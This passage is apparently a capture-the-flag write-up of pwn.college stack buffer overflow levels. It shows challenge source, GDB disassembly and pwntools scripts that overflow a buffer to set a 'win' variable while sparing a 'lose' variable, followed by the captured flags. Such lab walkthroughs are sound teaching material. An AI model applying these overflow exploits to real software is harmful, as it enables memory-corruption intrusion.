Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffe5e0a5000 (rsp+0x0000) | 01 00 00 00 04 00 00 00 | 0x0000000400000001 |
| 0x00007ffe5e0a5008 (rsp+0x0008) | d8 61 0a 5e fe 7f 00 00 | 0x00007ffe5e0a61d8 |
| 0x00007ffe5e0a5010 (rsp+0x0010) | c8 61 0a 5e fe 7f 00 00 | 0x00007ffe5e0a61c8 |
| 0x00007ffe5e0a5018 (rsp+0x0018) | a0 16 95 88 01 00 00 00 | 0x00000001889516a0 |
| 0x00007ffe5e0a5020 (rsp+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5028 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5030 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5038 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5040 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5048 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5050 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5058 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5060 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5068 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5070 (rsp+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5078 (rsp+0x0078) | 00 00 00 00 fe 7f 00 00 | 0x00007ffe00000000 |
| 0x00007ffe5e0a5080 (rsp+0x0080) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffe5e0a5088 (rsp+0x0088) | 00 c8 97 f9 5f ff 4e e2 | 0xe24eff5ff997c800 |
| 0x00007ffe5e0a5090 (rsp+0x0090) | d0 60 0a 5e fe 7f 00 00 | 0x00007ffe5e0a60d0 |
| 0x00007ffe5e0a5098 (rsp+0x0098) | 4e 28 40 00 00 00 00 00 | 0x000000000040284e |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffe5e0a5000, and our base pointer points to 0x7ffe5e0a5090.
This means that we have (decimal) 20 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 160 bytes.
The input buffer begins at 0x7ffe5e0a5030, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 68 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.
In this level, there is a "win" variable.
By default, the value of this variable is zero.
However, when this variable is non-zero, the flag will be printed.
You can make this variable be non-zero by overflowing the input buffer.
The "win" variable is stored at 0x7ffe5e0a5074, 68 bytes after the start of your input buffer.
But be careful! There is also a LOSE variable. If this variable ends up non-zero, the program will terminate and you
will not get the flag. Be careful not to overwrite this variable.
The "lose" variable is stored at 0x7ffe5e0a5078, 72 bytes after the start of your input buffer.
We have disabled the following standard memory corruption mitigations for this challenge:
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.
You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffe5e0a5030 (the start of the input buffer)
right up to (but not including) 0x7ffe5e0a6030 (which is 4028 bytes beyond the end of the buffer).
Send your payload (up to 4096 bytes)!
In this challenge we have to overflow the buffer such that we overwrite the win variable which is at a distance of 68 bytes from the buffer. However, we have to be careful as to not overwrite the lose variable at a distance of 72 bytes from the buffer.
Exploit
from pwn import *
padding = b'A' * 68
payload = padding + p64(0x42424242)
p = process('/challenge/binary-exploitation-lose-variable-w')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~precision-easy:/$ python ~/script.py
[+] Starting local process '/challenge/binary-exploitation-lose-variable-w': pid 2598
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (2.63KB)
[*] Process '/challenge/binary-exploitation-lose-variable-w' stopped with exit code 0 (pid 2598)
You sent 76 bytes!
Let's see what happened with the stack:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffd7677b000 (rsp+0x0000) | 01 00 00 00 04 00 00 00 | 0x0000000400000001 |
| 0x00007ffd7677b008 (rsp+0x0008) | d8 c1 77 76 fd 7f 00 00 | 0x00007ffd7677c1d8 |
| 0x00007ffd7677b010 (rsp+0x0010) | c8 c1 77 76 fd 7f 00 00 | 0x00007ffd7677c1c8 |
| 0x00007ffd7677b018 (rsp+0x0018) | a0 26 6b 0d 01 00 00 00 | 0x000000010d6b26a0 |
| 0x00007ffd7677b020 (rsp+0x0020) | 00 00 00 00 4c 00 00 00 | 0x0000004c00000000 |
| 0x00007ffd7677b028 (rsp+0x0028) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffd7677b030 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b038 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b040 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b048 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b050 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b058 (rsp+0x0058) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b060 (rsp+0x0060) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b068 (rsp+0x0068) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b070 (rsp+0x0070) | 41 41 41 41 42 42 42 42 | 0x4242424241414141 |
| 0x00007ffd7677b078 (rsp+0x0078) | 00 00 00 00 fd 7f 00 00 | 0x00007ffd00000000 |
| 0x00007ffd7677b080 (rsp+0x0080) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffd7677b088 (rsp+0x0088) | 00 a7 58 78 94 44 fa e6 | 0xe6fa44947858a700 |
| 0x00007ffd7677b090 (rsp+0x0090) | d0 c0 77 76 fd 7f 00 00 | 0x00007ffd7677c0d0 |
| 0x00007ffd7677b098 (rsp+0x0098) | 4e 28 40 00 00 00 00 00 | 0x000000000040284e |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7ffd7677b030
- the saved frame pointer (of main) is at 0x7ffd7677b090
- the saved return address (previously to main) is at 0x7ffd7677b098
- the saved return address is now pointing to 0x40284e.
- the canary is stored at 0x7ffd7677b088.
- the canary value is now 0xe6fa44947858a700.
- the address of the win variable is 0x7ffd7677b074.
- the value of the win variable is 0x42424242.
- the address of the lose variable is 0x7ffd7677b078.
- the value of the lose variable is 0x0.
You win! Here is your flag:
pwn.college{kUQmLFVxRrOM4JIJ8uq2TK8Hl_w.QX0AzNwEDL4ITM0EzW}
Goodbye!
Precision (hard)
hacker@binary-exploitation~precision-hard:/$ ls /challenge/
DESCRIPTION.md binary-exploitation-lose-variable
This time we are not provided with any source code.
hacker@binary-exploitation~precision-hard:/$ /challenge/binary-exploitation-lose-variable
Send your payload (up to 4096 bytes)!
Same as before we need some necessary information before we perform buffer overflow:
- Location of the buffer
- Location of the
winvariable - Location of the
losevariable
Nothing in the program print statements either.
Disassembly
Let's load the program in GDB, and checkout the functions.
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010e0 __errno_location@plt
0x00000000004010f0 puts@plt
0x0000000000401100 write@plt
0x0000000000401110 __stack_chk_fail@plt
0x0000000000401120 printf@plt
0x0000000000401130 geteuid@plt
0x0000000000401140 read@plt
0x0000000000401150 setvbuf@plt
0x0000000000401160 open@plt
0x0000000000401170 exit@plt
0x0000000000401180 strerror@plt
0x0000000000401190 _start
0x00000000004011c0 _dl_relocate_static_pie
0x00000000004011d0 deregister_tm_clones
0x0000000000401200 register_tm_clones
0x0000000000401240 __do_global_dtors_aux
0x0000000000401270 frame_dummy
0x0000000000401276 bin_padding
0x0000000000401d3b win
0x0000000000401e42 challenge
0x0000000000401f67 main
0x0000000000402020 __libc_csu_init
0x0000000000402090 __libc_csu_fini
0x0000000000402098 _fini
challenge()
(gdb) disassemble challenge
Dump of assembler code for function challenge:
0x0000000000401e42 <+0>: endbr64
0x0000000000401e46 <+4>: push rbp
0x0000000000401e47 <+5>: mov rbp,rsp
0x0000000000401e4a <+8>: sub rsp,0xc0
0x0000000000401e51 <+15>: mov DWORD PTR [rbp-0xa4],edi
0x0000000000401e57 <+21>: mov QWORD PTR [rbp-0xb0],rsi
0x0000000000401e5e <+28>: mov QWORD PTR [rbp-0xb8],rdx
0x0000000000401e65 <+35>: mov rax,QWORD PTR fs:0x28
0x0000000000401e6e <+44>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401e72 <+48>: xor eax,eax
0x0000000000401e74 <+50>: lea rdx,[rbp-0x90]
0x0000000000401e7b <+57>: mov eax,0x0
0x0000000000401e80 <+62>: mov ecx,0x11
0x0000000000401e85 <+67>: mov rdi,rdx
0x0000000000401e88 <+70>: rep stos QWORD PTR es:[rdi],rax
0x0000000000401e8b <+73>: mov QWORD PTR [rbp-0x98],0x0
0x0000000000401e96 <+84>: mov QWORD PTR [rbp-0x98],0x1000
0x0000000000401ea1 <+95>: mov rax,QWORD PTR [rbp-0x98]
0x0000000000401ea8 <+102>: mov rsi,rax
0x0000000000401eab <+105>: lea rdi,[rip+0x125e] # 0x403110
0x0000000000401eb2 <+112>: mov eax,0x0
0x0000000000401eb7 <+117>: call 0x401120 <printf@plt>
0x0000000000401ebc <+122>: mov rdx,QWORD PTR [rbp-0x98]
0x0000000000401ec3 <+129>: lea rax,[rbp-0x90]
0x0000000000401eca <+136>: mov rsi,rax
0x0000000000401ecd <+139>: mov edi,0x0
0x0000000000401ed2 <+144>: call 0x401140 <read@plt>
0x0000000000401ed7 <+149>: mov DWORD PTR [rbp-0x9c],eax
0x0000000000401edd <+155>: cmp DWORD PTR [rbp-0x9c],0x0
0x0000000000401ee4 <+162>: jns 0x401f12 <challenge+208>
0x0000000000401ee6 <+164>: call 0x4010e0 <__errno_location@plt>
0x0000000000401eeb <+169>: mov eax,DWORD PTR [rax]
0x0000000000401eed <+171>: mov edi,eax
0x0000000000401eef <+173>: call 0x401180 <strerror@plt>
0x0000000000401ef4 <+178>: mov rsi,rax
0x0000000000401ef7 <+181>: lea rdi,[rip+0x123a] # 0x403138
0x0000000000401efe <+188>: mov eax,0x0
0x0000000000401f03 <+193>: call 0x401120 <printf@plt>
0x0000000000401f08 <+198>: mov edi,0x1
0x0000000000401f0d <+203>: call 0x401170 <exit@plt>
0x0000000000401f12 <+208>: mov eax,DWORD PTR [rbp-0xc]
0x0000000000401f15 <+211>: test eax,eax
0x0000000000401f17 <+213>: je 0x401f2f <challenge+237>
0x0000000000401f19 <+215>: lea rdi,[rip+0x1240] # 0x403160
0x0000000000401f20 <+222>: call 0x4010f0 <puts@plt>
0x0000000000401f25 <+227>: mov edi,0x1
0x0000000000401f2a <+232>: call 0x401170 <exit@plt>
0x0000000000401f2f <+237>: mov eax,DWORD PTR [rbp-0x10]
0x0000000000401f32 <+240>: test eax,eax
0x0000000000401f34 <+242>: je 0x401f40 <challenge+254>
0x0000000000401f36 <+244>: mov eax,0x0
0x0000000000401f3b <+249>: call 0x401d3b <win>
0x0000000000401f40 <+254>: lea rdi,[rip+0x1239] # 0x403180
0x0000000000401f47 <+261>: call 0x4010f0 <puts@plt>
0x0000000000401f4c <+266>: mov eax,0x0
0x0000000000401f51 <+271>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000401f55 <+275>: xor rcx,QWORD PTR fs:0x28
0x0000000000401f5e <+284>: je 0x401f65 <challenge+291>
0x0000000000401f60 <+286>: call 0x401110 <__stack_chk_fail@plt>
0x0000000000401f65 <+291>: leave
0x0000000000401f66 <+292>: ret
End of assembler dump.
Again, we have some interesting code snippets:
# ---- snip ----
0x0000000000401ebc <+122>: mov rdx,QWORD PTR [rbp-0x98]
0x0000000000401ec3 <+129>: lea rax,[rbp-0x90]
0x0000000000401eca <+136>: mov rsi,rax
0x0000000000401ecd <+139>: mov edi,0x0
0x0000000000401ed2 <+144>: call 0x401140 <read@plt>
# ---- snip ----
read@plt is called, and the value pointed to by rsi is the location of the stack.
# ---- snip ----
0x0000000000401f12 <+208>: mov eax,DWORD PTR [rbp-0xc]
0x0000000000401f15 <+211>: test eax,eax
0x0000000000401f17 <+213>: je 0x401f2f <challenge+237>
0x0000000000401f19 <+215>: lea rdi,[rip+0x1240] # 0x403160
0x0000000000401f20 <+222>: call 0x4010f0 <puts@plt>
0x0000000000401f25 <+227>: mov edi,0x1
0x0000000000401f2a <+232>: call 0x401170 <exit@plt>
0x0000000000401f2f <+237>: mov eax,DWORD PTR [rbp-0x10]
# ---- snip ----
The program checks if the data pointed to by rbp-0xc is zero. If yes, it jumps to challenge+237 over the exit@plt call and continues the flow of execution. The value pointed to by rbp-0xc is the lose variable.
# ---- snip ----
0x0000000000401f2f <+237>: mov eax,DWORD PTR [rbp-0x10]
0x0000000000401f32 <+240>: test eax,eax
0x0000000000401f34 <+242>: je 0x401f40 <challenge+254>
0x0000000000401f36 <+244>: mov eax,0x0
0x0000000000401f3b <+249>: call 0x401d3b <win>
0x0000000000401f40 <+254>: lea rdi,[rip+0x1239] # 0x403180
# ---- snip ----
The program moves the data pointed to by rbp-0x10 into eax, and then checks if it is zero. If the check succeeds, it jumps to challenge+254, effectively skipping the win function.
Let's set the necessary breakpoints to obtain the values during runtime.
(gdb) break *(challenge+144)
Breakpoint 1 at 0x401ed2
(gdb) break *(challenge+208)
Breakpoint 2 at 0x401f12
(gdb) break *(challenge+237)
Breakpoint 3 at 0x401f2f
Now, we can run the program, and get the location of the buffer once the first breakpoint is hit.
Breakpoint 1, 0x0000000000401ed2 in challenge ()
(gdb) p/x $rsi
$1 = 0x7ffd493badf0
- Location of the buffer:
0x7ffd493badf0 - Location of the
winvariable - Location of the
losevariable
Let's continue until we hit the next breakpoint.
(gdb) c
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 2, 0x0000000000401f12 in challenge ()
(gdb) x/dw $rbp-0xc
0x7ffd493bae74: 0
- Location of the buffer:
0x7ffd493badf0 - Location of the
winvariable - Location of the
losevariable:0x7ffd493bae74
(gdb) c
Continuing.
Breakpoint 3, 0x0000000000401f2f in challenge ()
(gdb) x/dw $rbp-0x10
0x7ffd493bae70: 0
- Location of the buffer:
0x7ffd493badf0 - Location of the
winvariable:0x7ffd493bae70 - Location of the
losevariable:0x7ffd493bae74
Now that we have the necessary information, let's calculate the distances of both the variables from the buffer.
(gdb) p/d 0x7ffd493bae70 - 0x7ffd493badf0
$2 = 128
(gdb) p/d 0x7ffd493bae74 - 0x7ffd493badf0
$3 = 132
Distance of win from buffer is 128 bytes, whereas the distance of lose from buffer is 132 bytes.
Exploit
from pwn import *
padding = b'A' * 128
payload = padding + p64(0x42424242)
p = process('/challenge/binary-exploitation-lose-variable')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~precision-hard:/$ python ~/script.py
[+] Starting local process '/challenge/binary-exploitation-lose-variable': pid 18391
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (100B)
[*] Process '/challenge/binary-exploitation-lose-variable' stopped with exit code 0 (pid 18391)
You win! Here is your flag:
pwn.college{IPfy649KYZgjMdD2hLbyC7mLWxq.QX1AzNwEDL4ITM0EzW}
Goodbye!
Variable Control (easy)
Source code
#define _GNU_SOURCE 1
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>
uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;
#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}
void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}
void bin_padding()
{
asm volatile (".rept 2717; nop; .endr");
}
void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;
puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}
int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[75];
int win_variable;
int lose_variable;
} data = {0} ;
unsigned long size = 0;
puts("The challenge() function has just been launched!");
GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 75);
printf("large input length, and thus overflow the buffer.\n\n");
printf("In this level, there is a \"win\" variable.\n");
printf("By default, the value of this variable is zero.\n");
printf("However, if you can set variable to 0x5d6e8736, the flag will be printed.\n");
printf("You can change this variable by overflowing the input buffer, but keep endianness in mind!\n");
printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));
puts(" But be careful! There is also a LOSE variable. If this variable ends up non-zero, the program will terminate and you");
puts("will not get the flag. Be careful not to overwrite this variable.\n");
printf("The \"lose\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.lose_variable, ((unsigned long) &data.lose_variable) - ((unsigned long) &data.input));
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");
FIND_CANARY(cp_, cv_, bp_);
size = 4096;
printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 75);
printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);
if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}
printf("You sent %d bytes!\n", received);
printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);
printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the canary is stored at %p.\n", cp_);
printf("- the canary value is now %p.\n", *(unsigned long*)(cp_));
printf("- the address of the win variable is %p.\n", &data.win_variable);
printf("- the value of the win variable is 0x%x.\n", data.win_variable);
printf("- the address of the lose variable is %p.\n", &data.lose_variable);
printf("- the value of the lose variable is 0x%x.\n", data.lose_variable);
printf("\n");
if (data.lose_variable)
{
puts("Lose variable is set! Quitting!");
exit(1);
}
if (data.win_variable == 1567524662)
{
win();
}
puts("Goodbye!");
return 0;
}
int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char crash_resistance[0x1000];
challenge(argc, argv, envp);
}
hacker@binary-exploitation~variable-control-easy:/$ /challenge/binary-exploitation-var-control-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffdcbef5db0 (rsp+0x0000) | 01 00 00 00 04 00 00 00 | 0x0000000400000001 |
| 0x00007ffdcbef5db8 (rsp+0x0008) | 88 6f ef cb fd 7f 00 00 | 0x00007ffdcbef6f88 |
| 0x00007ffdcbef5dc0 (rsp+0x0010) | 78 6f ef cb fd 7f 00 00 | 0x00007ffdcbef6f78 |
| 0x00007ffdcbef5dc8 (rsp+0x0018) | a0 76 ee 2d 01 00 00 00 | 0x000000012dee76a0 |
| 0x00007ffdcbef5dd0 (rsp+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5dd8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5de0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5de8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5df0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5df8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e00 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e08 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e10 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e18 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e20 (rsp+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e28 (rsp+0x0078) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e30 (rsp+0x0080) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e38 (rsp+0x0088) | 00 9f 33 dd 48 67 9e 32 | 0x329e6748dd339f00 |
| 0x00007ffdcbef5e40 (rsp+0x0090) | 80 6e ef cb fd 7f 00 00 | 0x00007ffdcbef6e80 |
| 0x00007ffdcbef5e48 (rsp+0x0098) | e3 25 40 00 00 00 00 00 | 0x00000000004025e3 |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffdcbef5db0, and our base pointer points to 0x7ffdcbef5e40.
This means that we have (decimal) 20 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 160 bytes.
The input buffer begins at 0x7ffdcbef5de0, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 75 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.
In this level, there is a "win" variable.
By default, the value of this variable is zero.
However, if you can set variable to 0x5d6e8736, the flag will be printed.
You can change this variable by overflowing the input buffer, but keep endianness in mind!
The "win" variable is stored at 0x7ffdcbef5e2c, 76 bytes after the start of your input buffer.
But be careful! There is also a LOSE variable. If this variable ends up non-zero, the program will terminate and you
will not get the flag. Be careful not to overwrite this variable.
The "lose" variable is stored at 0x7ffdcbef5e30, 80 bytes after the start of your input buffer.
We have disabled the following standard memory corruption mitigations for this challenge:
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.
You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffdcbef5de0 (the start of the input buffer)
right up to (but not including) 0x7ffdcbef6de0 (which is 4021 bytes beyond the end of the buffer).
Send your payload (up to 4096 bytes)!
In this challenge we have to overflow the buffer such that we overwrite the win variable which is at a distance of 76 bytes from the buffer and set it to 0x5d6e8736. However, we have to be careful as to not overwrite the lose variable at a distance of 80 bytes from the buffer.
Exploit
from pwn import *
padding = b'A' * 76
payload = padding + p64(0x5d6e8736)
p = process('/challenge/binary-exploitation-var-control-w')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~variable-control-easy:/$ python ~/script.py
[+] Starting local process '/challenge/binary-exploitation-var-control-w': pid 5855
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (2.63KB)
[*] Process '/challenge/binary-exploitation-var-control-w' stopped with exit code 0 (pid 5855)
You sent 84 bytes!
Let's see what happened with the stack:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007fffda82cc90 (rsp+0x0000) | 01 00 00 00 04 00 00 00 | 0x0000000400000001 |
| 0x00007fffda82cc98 (rsp+0x0008) | 68 de 82 da ff 7f 00 00 | 0x00007fffda82de68 |
| 0x00007fffda82cca0 (rsp+0x0010) | 58 de 82 da ff 7f 00 00 | 0x00007fffda82de58 |
| 0x00007fffda82cca8 (rsp+0x0018) | a0 c6 da 97 01 00 00 00 | 0x0000000197dac6a0 |
| 0x00007fffda82ccb0 (rsp+0x0020) | 00 00 00 00 54 00 00 00 | 0x0000005400000000 |
| 0x00007fffda82ccb8 (rsp+0x0028) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007fffda82ccc0 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82ccc8 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82ccd0 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82ccd8 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82cce0 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82cce8 (rsp+0x0058) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82ccf0 (rsp+0x0060) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82ccf8 (rsp+0x0068) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82cd00 (rsp+0x0070) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82cd08 (rsp+0x0078) | 41 41 41 41 36 87 6e 5d | 0x5d6e873641414141 |
| 0x00007fffda82cd10 (rsp+0x0080) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007fffda82cd18 (rsp+0x0088) | 00 fb 9a dc f9 0d 27 93 | 0x93270df9dc9afb00 |
| 0x00007fffda82cd20 (rsp+0x0090) | 60 dd 82 da ff 7f 00 00 | 0x00007fffda82dd60 |
